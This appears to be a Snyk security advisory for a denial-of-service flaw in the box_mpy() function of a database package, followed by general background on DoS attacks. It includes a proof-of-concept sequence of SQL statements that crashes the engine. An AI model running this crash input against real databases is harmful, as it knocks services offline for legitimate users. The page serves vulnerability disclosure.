Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Affected versions of this package are vulnerable to Denial of Service (DoS) in the box_mpy()
function. An attacker can cause a crash with a malicious SELECT statement.
CREATE TABLE v0 ( v1 INT ) ;
INSERT INTO v0 VALUES ( 2147483647 ) ;
INSERT INTO v0 VALUES ( -1 ) ;
INSERT INTO v0 ( v1 , v1 , v1 ) SELECT 54 , v1 , -128 FROM v0 AS v4 , v0 , v0 AS v3 NATURAL JOIN v0 AS v2 ;
UPDATE v0 SET v1 = NULL WHERE ( v1 * 2147483647 , CASE WHEN v1 = 'x' THEN 75 WHEN DENSE_RANK ( 'x' ) THEN 25942677.000000 END + 16 * 127 ) IN ( SELECT v1 FROM v0 WHERE v1 >= 127 AND ( v1 * 16 , v1 , ( SELECT v1 FROM v0 WHERE ( v1 , v1 ) IN ( SELECT v1 , v1 AS v8 FROM v0 AS v6 NATURAL JOIN v0 AS v7 NATURAL JOIN v0 AS v5 NATURAL JOIN v0 WHERE v1 ) ORDER BY v1 ) ) - 'x' GROUP BY 48002391.000000 ) ;
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws
package